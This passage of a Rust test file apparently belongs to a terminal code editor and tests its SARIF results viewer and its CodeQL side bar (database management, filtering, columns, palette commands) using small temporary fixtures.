        "fn main() {\n    let q = format!(\"{}\", id);\n}\n",
    )
    .unwrap();
    let log = tmp.path().join("results.sarif");
    std::fs::write(
        &log,
        r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"lint","rules":[{"id":"R1","name":"Taint"}]}},
            "results":[{"ruleId":"R1","level":"error","message":{"text":"Query built from user input."},
            "locations":[{"physicalLocation":{"artifactLocation":{"uri":"src/a.rs"},
            "region":{"startLine":2,"startColumn":9}}}]}]}]}"#,
    )
    .unwrap();
    (tmp, log)
}

fn screen_text(term: &ratatui::Terminal<ratatui::backend::TestBackend>) -> String {
    let buf = term.backend().buffer();
    let mut all = String::new();
    for y in 0..buf.area.height {
        for x in 0..buf.area.width {
            all.push_str(buf[(x, y)].symbol());
        }
        all.push('\n');
    }
    all
}

#[test]
fn sarif_log_opens_as_the_results_viewer() {
    let (tmp, log) = sarif_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    let view = app
        .editor
        .sarif
        .as_ref()
        .expect(".sarif opens in the viewer");
    assert_eq!(view.entries.len(), 1);
    assert_eq!(view.entries[0].file, "src/a.rs");
    assert!(
        app.editor.has_non_text_view(),
        "a save must not write the stub"
    );

    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(140, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let screen = screen_text(&term);
    assert!(
        screen.contains("src/a.rs"),
        "group header painted:\n{screen}"
    );
    assert!(
        screen.contains("Query built from user input."),
        "result row painted:\n{screen}"
    );
    assert!(screen.contains("Locations"), "tab strip painted:\n{screen}");
    // The first result starts selected, so its details are already showing.
    assert!(
        screen.contains("R1 · Taint"),
        "details pane shows the first result:\n{screen}"
    );
}

#[test]
fn sarif_enter_opens_the_location_and_keeps_the_viewer_tab() {
    let (tmp, log) = sarif_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_preview(&log).unwrap();
    let tabs_before = app.editor.tab_count();
    app.handle_sarif_key(key(KeyCode::Down, KeyModifiers::NONE));
    app.handle_sarif_key(key(KeyCode::Enter, KeyModifiers::NONE));
    assert_eq!(
        app.editor.path.as_deref(),
        Some(tmp.path().join("src/a.rs").as_path()),
        "the location opened: {}",
        app.status
    );
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 8));
    assert_eq!(
        app.editor.tab_count(),
        tabs_before + 1,
        "the viewer was pinned, not replaced by the preview open"
    );
}

#[test]
fn sarif_space_previews_the_code_around_the_result_without_leaving_the_list() {
    // #577: Space shows the lines around the selected result in the
    // details pane; the viewer keeps the keys and Space again hides it.
    let (tmp, log) = sarif_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_preview(&log).unwrap();
    app.handle_sarif_key(key(KeyCode::Down, KeyModifiers::NONE));
    app.handle_sarif_key(key(KeyCode::Char(' '), KeyModifiers::NONE));
    app.refresh_sarif_preview();
    let view = app.editor.sarif.as_ref().expect("still on the viewer");
    let p = view.current_preview().expect("a preview").clone();
    assert!(p.title.ends_with("a.rs"), "{}", p.title);
    assert_eq!((p.first, p.target), (1, 2));
    assert_eq!(p.lines[1], "    let q = format!(\"{}\", id);");

    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(140, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let screen = screen_text(&term);
    assert!(screen.contains("Preview · "), "{screen}");
    assert!(screen.contains("2     let q = format!"), "{screen}");

    // On a group row there is no result to preview.
    app.handle_sarif_key(key(KeyCode::Up, KeyModifiers::NONE));
    app.refresh_sarif_preview();
    assert!(
        app.editor
            .sarif
            .as_ref()
            .unwrap()
            .current_preview()
            .is_none()
    );
    // Back on the result it comes back; Space turns it off.
    app.handle_sarif_key(key(KeyCode::Down, KeyModifiers::NONE));
    app.refresh_sarif_preview();
    assert!(
        app.editor
            .sarif
            .as_ref()
            .unwrap()
            .current_preview()
            .is_some()
    );
    app.handle_sarif_key(key(KeyCode::Char(' '), KeyModifiers::NONE));
    app.refresh_sarif_preview();
    let view = app.editor.sarif.as_ref().unwrap();
    assert!(!view.previewing && view.current_preview().is_none());
}

#[test]
fn a_sarif_result_whose_file_is_only_in_the_log_opens_the_logs_copy() {
    // #577: `artifacts[].contents` is the file when it is not on this
    // machine: text opens read-only at the result, binary in the hex viewer.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let log = tmp.path().join("embedded.sarif");
        std::fs::write(
            &log,
            r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"T"}},
              "artifacts":[
                {"location":{"uri":"file:///build/gen/query.c"},"contents":{"text":"line one\nline two\nint bad;\n"}},
                {"location":{"uri":"file:///build/blob.bin"},"contents":{"binary":"AAEC/w=="}}],
              "results":[
                {"ruleId":"R1","message":{"text":"text"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"file:///build/gen/query.c","index":0},"region":{"startLine":3,"startColumn":5}}}]},
                {"ruleId":"R2","message":{"text":"bin"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"file:///build/blob.bin","index":1}}}]}]}]}"#,
        )
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.editor.open_preview(&log).unwrap();
        let select = |app: &mut App, rule: &str| {
            let view = app.editor.sarif.as_mut().unwrap();
            let rows = view.rows();
            view.selected = rows
                .iter()
                .position(|r| matches!(r, crate::sarif::view::Row::Item { entry } if view.entries[*entry].rule_id == rule))
                .unwrap();
        };
        select(&mut app, "R1");
        app.open_selected_sarif_result();
        let opened = app.editor.path.clone().expect("a copy opened");
        assert!(
            opened.starts_with(croft_cache_dir()),
            "{opened:?}: {}",
            app.status
        );
        assert_eq!(opened.file_name().unwrap(), "query.c");
        assert_eq!(app.editor.lines[2], "int bad;");
        assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (2, 4));
        assert!(app.status.contains("read-only"), "{}", app.status);
        use std::os::unix::fs::PermissionsExt;
        assert_eq!(
            std::fs::metadata(&opened).unwrap().permissions().mode() & 0o222,
            0
        );

        app.editor.open_preview(&log).unwrap();
        select(&mut app, "R2");
        app.open_selected_sarif_result();
        let opened = app.editor.path.clone().expect("a copy opened");
        assert_eq!(std::fs::read(&opened).unwrap(), [0, 1, 2, 255]);
        assert!(
            app.editor.has_non_text_view(),
            "binary opens in the hex viewer"
        );
    });
}

#[test]
fn a_sarif_log_rewritten_on_disk_keeps_the_readers_place() {
    // #577: a rebuild that rewrites the log (a scan re-run) used to reopen
    // the viewer from scratch, losing the selection, filter, folds and any
    // log added with `o`.
    let tmp = tempfile::tempdir().unwrap();
    let result = |rule: &str, line: u32| {
        format!(
            r#"{{"ruleId":"{rule}","level":"warning","message":{{"text":"{rule} here"}},"locations":[{{"physicalLocation":{{"artifactLocation":{{"uri":"src/{rule}.rs"}},"region":{{"startLine":{line}}}}}}}]}}"#
        )
    };
    let log_of = |results: &[String]| {
        format!(
            r#"{{"version":"2.1.0","runs":[{{"tool":{{"driver":{{"name":"lint"}}}},"results":[{}]}}]}}"#,
            results.join(",")
        )
    };
    let main = tmp.path().join("main.sarif");
    let extra = tmp.path().join("extra.sarif");
    std::fs::write(&main, log_of(&[result("Aa", 1), result("Bb", 2)])).unwrap();
    std::fs::write(&extra, log_of(&[result("Cc", 3)])).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&main).unwrap();
    {
        let view = app.editor.sarif.as_mut().unwrap();
        let log = crate::sarif::load::parse_log(&std::fs::read_to_string(&extra).unwrap()).unwrap();
        assert!(view.add_log(&extra, log));
        view.query_text = String::from("-Cc");
        view.filters
            .hidden_levels
            .insert(crate::sarif::semantics::Level::Note);
        view.collapsed.insert(String::from("some-group"));
        let rows = view.rows();
        view.selected = rows
            .iter()
            .position(|r| matches!(r, crate::sarif::view::Row::Item { entry } if view.entries[*entry].rule_id == "Bb"))
            .unwrap();
    }
    // The scan runs again: a new result lands first, shifting the others.
    std::fs::write(
        &main,
        log_of(&[result("Zz", 9), result("Aa", 1), result("Bb", 2)]),
    )
    .unwrap();
    app.editor.revert_to_disk().unwrap();
    let view = app.editor.sarif.as_ref().unwrap();
    assert_eq!(view.logs.len(), 2, "the added log is still there");
    assert_eq!(view.query_text, "-Cc");
    assert!(
        view.filters
            .hidden_levels
            .contains(&crate::sarif::semantics::Level::Note)
    );
    assert!(view.collapsed.contains("some-group"));
    assert_eq!(view.entries.len(), 4, "the rewritten log was read");
    assert_eq!(
        view.selected_entry().map(|e| e.rule_id.as_str()),
        Some("Bb"),
        "the same result stays selected though it moved"
    );
}

#[test]
fn sarif_columns_are_chosen_with_c_shown_on_rows_and_remembered() {
    // #577: optional columns between a row's position and its message.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let (tmp, log) = sarif_fixture();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.editor.open(&log).unwrap();
        assert!(
            app.editor.sarif.as_ref().unwrap().columns.is_empty(),
            "none by default"
        );
        let draw = |app: &mut App| {
            let mut term =
                ratatui::Terminal::new(ratatui::backend::TestBackend::new(160, 30)).unwrap();
            term.draw(|f| app.render(f)).unwrap();
            screen_text(&term)
        };
        let row = |screen: &str| {
            screen
                .lines()
                .find(|l| l.contains("Query built from user input."))
                .and_then(|l| {
                    // The list part only: the detail pane shares the line.
                    let end = l.find("input.")? + "input.".len();
                    Some(l[..end].to_string())
                })
                .unwrap_or_default()
        };
        assert!(
            !row(&draw(&mut app)).contains("R1 "),
            "{}",
            row(&draw(&mut app))
        );

        // An unknown name is refused and names the choices.
        app.handle_sarif_key(key(KeyCode::Char('C'), KeyModifiers::NONE));
        app.input_prompt.as_mut().unwrap().value = String::from("rule, colour");
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
        assert!(
            app.status.contains("No column \"colour\""),
            "{}",
            app.status
        );
        assert!(app.status.contains("rule, level, kind"), "{}", app.status);

        app.handle_sarif_key(key(KeyCode::Char('C'), KeyModifiers::NONE));
        app.input_prompt.as_mut().unwrap().value = String::from("rule, baseline");
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
        assert_eq!(app.status, "SARIF columns: rule, baseline");
        let shown = row(&draw(&mut app));
        let (rule, base, msg) = (
            shown.find("R1").expect(&shown),
            shown.find("no baseline").expect(&shown),
            shown.find("Query built").unwrap(),
        );
        assert!(rule < base && base < msg, "in the chosen order: {shown}");

        // Remembered: the next viewer opens with them, and C offers them.
        let mut again = App::new(tmp.path().to_path_buf()).unwrap();
        again.editor.open(&log).unwrap();
        assert_eq!(
            again.editor.sarif.as_ref().unwrap().columns,
            [
                crate::sarif::view::ExtraColumn::Rule,
                crate::sarif::view::ExtraColumn::Baseline
            ]
        );
        again.handle_sarif_key(key(KeyCode::Char('C'), KeyModifiers::NONE));
        assert_eq!(again.input_prompt.as_ref().unwrap().value, "rule,baseline");
    });
}

#[test]
fn sarif_filter_words_are_highlighted_in_the_results() {
    // Its own cache: the saved column choice (another test's) would push
    // the message out of the row.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        // #577: the filter's words are marked where a result's message shows them.
        let (tmp, log) = sarif_fixture();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.editor.open(&log).unwrap();
        app.editor.sarif.as_mut().unwrap().set_query("user");
        let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(140, 30)).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        let buf = term.backend().buffer().clone();
        let (y, line) = (0..buf.area.height)
            .map(|y| {
                let s: String = (0..buf.area.width)
                    .map(|x| buf[(x, y)].symbol().to_string())
                    .collect();
                (y, s)
            })
            .find(|(_, s)| s.contains("Query built from user input."))
            .expect("the row is drawn");
        let at = line[..line.find("user input").unwrap()].chars().count() as u16;
        let marked = |x: u16| {
            buf[(x, y)]
                .modifier
                .contains(ratatui::style::Modifier::UNDERLINED)
        };
        assert!((at..at + 4).all(marked), "\"user\" is marked");
        assert!(!marked(at + 4) && !marked(at - 2), "and nothing around it");
    });
}

#[test]
fn a_sarif_results_steps_are_drawn_in_their_own_files_only() {
    // #577: the selected result's analysis steps appear after their lines,
    // in the file each step is in and no other.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join("src")).unwrap();
    std::fs::write(
        tmp.path().join("src/a.rs"),
        "fn a() {\n    let x = input();\n    sink(x);\n}\n",
    )
    .unwrap();
    std::fs::write(
        tmp.path().join("src/b.rs"),
        "fn input() -> String {\n    read()\n}\n",
    )
    .unwrap();
    let step = |uri: &str, line: u32, msg: &str| {
        format!(
            r#"{{"location":{{"message":{{"text":"{msg}"}},"physicalLocation":{{"artifactLocation":{{"uri":"{uri}"}},"region":{{"startLine":{line}}}}}}}}}"#
        )
    };
    let log = tmp.path().join("flow.sarif");
    std::fs::write(
        &log,
        format!(
            r#"{{"version":"2.1.0","runs":[{{"tool":{{"driver":{{"name":"t"}}}},"results":[{{"ruleId":"R1","message":{{"text":"tainted"}},
              "locations":[{{"physicalLocation":{{"artifactLocation":{{"uri":"src/a.rs"}},"region":{{"startLine":3}}}}}}],
              "codeFlows":[{{"threadFlows":[{{"locations":[{},{},{}]}}]}}]}}]}}]}}"#,
            step("src/b.rs", 2, "source"),
            step("src/a.rs", 2, "assigned"),
            step("src/a.rs", 3, "sink")
        ),
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_preview(&log).unwrap();
    app.open_selected_sarif_result();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(tmp.path().join("src/a.rs").as_path())
    );
    app.sync_sarif_step_marks();
    let labels = |app: &App, line: usize| -> Vec<String> {
        app.editor
            .inlay_spans_for_test(line)
            .iter()
            .map(|(_, l, _)| l.trim().to_string())
            .collect()
    };
    assert_eq!(labels(&app, 1), ["\u{25c2} step 2: assigned"]);
    assert_eq!(labels(&app, 2), ["\u{25c2} step 3: sink"]);
    assert!(
        labels(&app, 0).is_empty(),
        "b.rs's step is not drawn in a.rs"
    );
    // The mark sits after the line's text.
    let (col, _, _) = &app.editor.inlay_spans_for_test(1)[0];
    assert_eq!(*col, "    let x = input();".chars().count());
}

#[test]
fn sarif_filter_typing_narrows_the_list() {
    let (tmp, log) = sarif_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    app.handle_sarif_key(key(KeyCode::Char('/'), KeyModifiers::NONE));
    for c in "nomatch".chars() {
        app.handle_sarif_key(key(KeyCode::Char(c), KeyModifiers::NONE));
    }
    let view = app.editor.sarif.as_ref().unwrap();
    assert_eq!(view.query_text, "nomatch");
    assert!(view.rows().is_empty());
    // Esc leaves the filter box and clears it.
    app.handle_sarif_key(key(KeyCode::Esc, KeyModifiers::NONE));
    let view = app.editor.sarif.as_ref().unwrap();
    assert_eq!(view.query_text, "");
    assert_eq!(view.rows().len(), 2);
}

#[test]
fn sarif_that_does_not_load_opens_as_text_and_says_why() {
    let tmp = tempfile::tempdir().unwrap();
    let bad = tmp.path().join("bad.sarif");
    std::fs::write(&bad, "{\n  \"version\": \"2.1.0\",\n  oops\n}\n").unwrap();
    let old = tmp.path().join("old.sarif");
    std::fs::write(&old, r#"{"version":"1.0.0","runs":[]}"#).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    app.editor.open(&bad).unwrap();
    assert!(app.editor.sarif.is_none());
    assert_eq!(app.editor.lines[2], "  oops");
    assert!(
        app.editor.status.contains("invalid JSON at 3:"),
        "status names the position: {}",
        app.editor.status
    );

    app.editor.open(&old).unwrap();
    assert!(app.editor.sarif.is_none());
    assert!(
        app.editor.status.contains("1.0.0"),
        "status names the version: {}",
        app.editor.status
    );
}

fn screen_lower(term: &ratatui::Terminal<ratatui::backend::TestBackend>) -> String {
    let buf = term.backend().buffer();
    let mut all = String::new();
    for y in 0..buf.area.height {
        for x in 0..buf.area.width {
            all.push_str(buf[(x, y)].symbol());
        }
        all.push('\n');
    }
    all.to_lowercase()
}

#[test]
fn codeql_icon_sits_below_testing_and_opens_the_codeql_side_bar() {
    // #578: VS Code's CodeQL extension adds a QL entry to the activity bar;
    // croft's sits directly below Testing and opens the CodeQL side bar.
    // Opening the CodeQL view reads croft's cache, whose test override is
    // process-global: without the lock and a cache of its own, this test
    // reads whatever another CodeQL test has there at the time.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 40)).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        let ql = app.sidebar_areas.codeql_icon;
        let testing = app.sidebar_areas.testing_icon;
        assert!(ql.width > 0, "the QL icon lays out on a tall bar");
        assert_eq!(ql.y, testing.y + testing.height, "directly below Testing");
        left_click(&mut app, ql.x, ql.y);
        assert_eq!(app.sidebar_view, SidebarView::CodeQL);
        term.draw(|f| app.render(f)).unwrap();
        let screen = screen_lower(&term);
        for section in [
            "language",
            "databases",
            "queries",
            "variant analysis",
            "query history",
            "ast viewer",
            "method modeling",
        ] {
            assert!(
                screen.contains(section),
                "section {section:?} listed:\n{screen}"
            );
        }
        // The Databases welcome offers VS Code's four ways to add one.
        for action in [
            "from a folder",
            "from an archive",
            "from a url",
            "from github",
        ] {
            assert!(screen.contains(action), "{action:?} offered:\n{screen}");
        }
    });
}

#[test]
fn codeql_view_label_round_trips_for_session_restore() {
    // Opening the CodeQL view reads croft's cache, whose test override is
    // process-global: without the lock and a cache of its own, this test
    // reads whatever another CodeQL test has there at the time.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        assert_eq!(sidebar_view_label(SidebarView::CodeQL), "CodeQL");
        assert_eq!(sidebar_view_from_label("CodeQL"), Some(SidebarView::CodeQL));
    });
}

#[test]
fn codeql_is_a_built_in_extensions_row_and_a_palette_command() {
    // Opening the CodeQL view reads croft's cache, whose test override is
    // process-global: without the lock and a cache of its own, this test
    // reads whatever another CodeQL test has there at the time.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let summaries = crate::lsp::manifest::summaries(crate::lsp::manifest::BUNDLED_MANIFESTS);
        assert!(
            summaries.iter().any(|s| s.id == "codeql"),
            "a built-in CodeQL row in the Extensions panel"
        );
        use crate::widgets::command_palette::Command;
        assert_eq!(Command::from_id("show_codeql"), Some(Command::ShowCodeQL));
        assert_eq!(Command::ShowCodeQL.title(), "View: Show CodeQL");
    });
}

#[test]
fn codeql_focus_side_bar_and_open_results_directory_are_palette_commands() {
    // #578: VS Code's "CodeQL: Focus Side Bar", and the results directory
    // of the selected run (else the newest) without the side bar's `o`.
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.config_dir = tmp.path().join("config");
        assert_eq!(
            Command::from_id("codeql_focus_side_bar"),
            Some(Command::CodeqlFocusSideBar)
        );
        assert_eq!(
            Command::CodeqlFocusSideBar.title(),
            "CodeQL: Focus Side Bar"
        );
        app.run_command(Command::CodeqlOpenResultsDirectory);
        assert_eq!(app.status, "No CodeQL query has run yet");

        let newer = App::codeql_results_dir().join("200-a/results.csv");
        let older = App::codeql_results_dir().join("100-b/results.csv");
        seed_codeql_history(
            tmp.path(),
            &[
                ("b.ql", 100, RunStatus::Succeeded, older.clone()),
                ("a.ql", 200, RunStatus::Succeeded, newer.clone()),
            ],
        );
        app.focus = Pane::Editor;
        app.run_command(Command::CodeqlFocusSideBar);
        assert_eq!(app.sidebar_view, SidebarView::CodeQL);
        assert!(app.focus == Pane::Tree, "the side bar takes the keys");

        // Nothing selected in Query History: the newest run.
        app.run_command(Command::CodeqlOpenResultsDirectory);
        assert_eq!(app.editor.path.as_deref(), Some(newer.as_path()));
        // A selected run: that one.
        app.codeql.select_history(1);
        app.run_command(Command::CodeqlOpenResultsDirectory);
        assert_eq!(
            app.editor.path.as_deref(),
            Some(older.as_path()),
            "{}",
            app.status
        );
    });
}

#[test]
fn disabling_codeql_hides_its_icon_and_leaves_its_view() {
    // Opening the CodeQL view reads croft's cache, whose test override is
    // process-global: without the lock and a cache of its own, this test
    // reads whatever another CodeQL test has there at the time.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        // Never write the developer's real ~/.config/croft from a test.
        app.config_dir = tmp.path().join("config");
        app.open_codeql_view();
        assert_eq!(app.sidebar_view, SidebarView::CodeQL);
        app.set_extension_enabled("codeql", false);
        assert_eq!(
            app.sidebar_view,
            SidebarView::Explorer,
            "a disabled feature's view does not stay open"
        );
        let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 40)).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        assert_eq!(app.sidebar_areas.codeql_icon.width, 0, "the icon is gone");
        assert!(
            app.sidebar_areas.settings_icon.width > 0,
            "the gear still lays out"
        );
        app.open_codeql_view();
        assert_ne!(
            app.sidebar_view,
            SidebarView::CodeQL,
            "cannot open while disabled"
        );
        assert!(app.status.contains("disabled"), "{}", app.status);
        app.set_extension_enabled("codeql", true);
        term.draw(|f| app.render(f)).unwrap();
        assert!(
            app.sidebar_areas.codeql_icon.width > 0,
            "re-enabling restores it"
        );
    });
}

fn make_codeql_db(root: &std::path::Path, name: &str, lang: &str) -> std::path::PathBuf {
    let dir = root.join(name);
    std::fs::create_dir_all(&dir).unwrap();
    std::fs::write(
        dir.join("codeql-database.yml"),
        format!("primaryLanguage: \"{lang}\"\n"),
    )
    .unwrap();
    dir
}

#[test]
fn adding_a_codeql_database_from_a_folder_lists_and_persists_it() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    // #578: Databases > From a folder.
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let db = make_codeql_db(tmp.path(), "flask-db", "python");
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.submit_codeql_database(
            crate::widgets::input_prompt::CodeqlDbSource::Folder,
            &db.display().to_string(),
        );
        assert!(
            app.status.contains("Added CodeQL database flask-db"),
            "{}",
            app.status
        );
        assert_eq!(app.codeql.databases.len(), 1);
        assert_eq!(app.codeql.current_db, Some(0));
        // A new session lists it too.
        let mut again = App::new(tmp.path().to_path_buf()).unwrap();
        again.open_codeql_view();
        assert_eq!(again.codeql.databases.len(), 1, "the list persists");
        assert_eq!(
            again.codeql.databases[0].language.as_deref(),
            Some("python")
        );
    });
}

#[test]
fn adding_a_codeql_database_from_an_archive_extracts_it_first() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use std::io::Write as _;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let zp = tmp.path().join("kafka-db.zip");
        let mut z = zip::ZipWriter::new(std::fs::File::create(&zp).unwrap());
        let opts = zip::write::SimpleFileOptions::default()
            .compression_method(zip::CompressionMethod::Stored);
        z.start_file("java/codeql-database.yml", opts).unwrap();
        z.write_all(b"primaryLanguage: \"java\"\n").unwrap();
        z.finish().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.submit_codeql_database(
            crate::widgets::input_prompt::CodeqlDbSource::Archive,
            &zp.display().to_string(),
        );
        assert_eq!(app.codeql.databases.len(), 1, "{}", app.status);
        let entry = &app.codeql.databases[0];
        assert_eq!(entry.language.as_deref(), Some("java"));
        assert!(
            entry.path.starts_with(home.path()),
            "extracted under croft's cache, not beside the archive: {}",
            entry.path.display()
        );
    });
}

#[test]
fn a_folder_without_a_codeql_database_is_refused_and_selection_persists() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.submit_codeql_database(
            crate::widgets::input_prompt::CodeqlDbSource::Folder,
            &tmp.path().display().to_string(),
        );
        assert!(
            app.status.contains("not a CodeQL database"),
            "{}",
            app.status
        );
        assert!(app.codeql.databases.is_empty());
        let a = make_codeql_db(tmp.path(), "a-db", "python");
        let b = make_codeql_db(tmp.path(), "b-db", "go");
        for db in [&a, &b] {
            app.submit_codeql_database(
                crate::widgets::input_prompt::CodeqlDbSource::Folder,
                &db.display().to_string(),
            );
        }
        assert_eq!(app.codeql.current_db, Some(1));
        app.activate_codeql(crate::widgets::codeql::Hit::Action(
            crate::widgets::codeql::Action::SelectDatabase(0),
        ));
        assert_eq!(app.codeql.current_db, Some(0));
        let mut again = App::new(tmp.path().to_path_buf()).unwrap();
        again.open_codeql_view();
        assert_eq!(again.codeql.current_db, Some(0), "the selection persists");
    });
}

#[test]
fn codeql_databases_are_renamed_sorted_revealed_and_removed_from_the_side_bar() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    // #578: VS Code's Databases view renames, sorts, shows the folder of
    // and removes a database; removing deletes only what croft downloaded.
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mine = make_codeql_db(tmp.path(), "flask-db", "python");
        let cached_root = App::codeql_db_cache_dir().join("kafka");
        let cached = make_codeql_db(&cached_root, "java", "java");
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        for db in [&mine, &cached] {
            app.submit_codeql_database(
                crate::widgets::input_prompt::CodeqlDbSource::Folder,
                &db.display().to_string(),
            );
        }
        app.open_codeql_view();
        app.focus = Pane::Tree;
        let press = |app: &mut App, code: KeyCode| {
            app.handle_key(key(code, KeyModifiers::NONE)).unwrap();
        };

        // F2 renames, starting from the current name.
        app.codeql.select_database(0);
        press(&mut app, KeyCode::F(2));
        assert_eq!(app.input_prompt.as_ref().unwrap().value, "flask-db");
        for _ in 0.."flask-db".len() {
            press(&mut app, KeyCode::Backspace);
        }
        for c in "web".chars() {
            press(&mut app, KeyCode::Char(c));
        }
        press(&mut app, KeyCode::Enter);
        assert_eq!(app.codeql.databases[0].name, "web", "{}", app.status);
        assert_eq!(
            crate::codeql_db::DatabaseStore::load(&App::codeql_db_store_path()).databases[0].name,
            "web",
            "saved"
        );

        // `s` sorts by name; the current database and the selection follow.
        press(&mut app, KeyCode::Char('s'));
        let names: Vec<_> = app
            .codeql
            .databases
            .iter()
            .map(|d| d.name.as_str())
            .collect();
        assert_eq!(names, ["java", "web"]);
        assert_eq!(app.codeql.current_db, Some(0), "kafka's is still current");
        assert_eq!(app.codeql.selected_database(), Some(1), "still on web");

        // `e` shows its folder in the Explorer.
        press(&mut app, KeyCode::Char('e'));
        assert_eq!(app.sidebar_view, SidebarView::Explorer);
        assert_eq!(app.tree.nodes[app.tree.selected].path, mine);
        app.open_codeql_view();
        app.focus = Pane::Tree;

        // Delete asks first; Esc keeps it.
        app.codeql.select_database(1);
        press(&mut app, KeyCode::Delete);
        assert!(
            app.input_prompt
                .as_ref()
                .unwrap()
                .title
                .contains("folder stays"),
            "the user's own folder is only forgotten"
        );
        press(&mut app, KeyCode::Esc);
        assert_eq!(app.codeql.databases.len(), 2, "Esc keeps it");
        press(&mut app, KeyCode::Delete);
        press(&mut app, KeyCode::Enter);
        assert_eq!(app.codeql.databases.len(), 1, "{}", app.status);
        assert!(mine.is_dir(), "not croft's to delete");
        assert_eq!(app.codeql.selected_database(), Some(0), "stays in the list");

        // The downloaded copy goes with its files.
        press(&mut app, KeyCode::Delete);
        assert!(
            app.input_prompt
                .as_ref()
                .unwrap()
                .title
                .contains("files are deleted"),
            "{}",
            app.input_prompt.as_ref().unwrap().title
        );
        press(&mut app, KeyCode::Enter);
        assert!(app.codeql.databases.is_empty(), "{}", app.status);
        assert!(!cached_root.exists(), "the whole cached copy is gone");
        assert_eq!(app.codeql.current_db, None);
    });
}

#[test]
fn codeql_database_palette_commands_act_on_the_current_database() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.run_command(Command::CodeqlRemoveDatabase);
        assert!(
            app.status.contains("Select a CodeQL database"),
            "{}",
            app.status
        );
        assert!(app.input_prompt.is_none());
        let db = make_codeql_db(tmp.path(), "flask-db", "python");
        app.submit_codeql_database(
            crate::widgets::input_prompt::CodeqlDbSource::Folder,
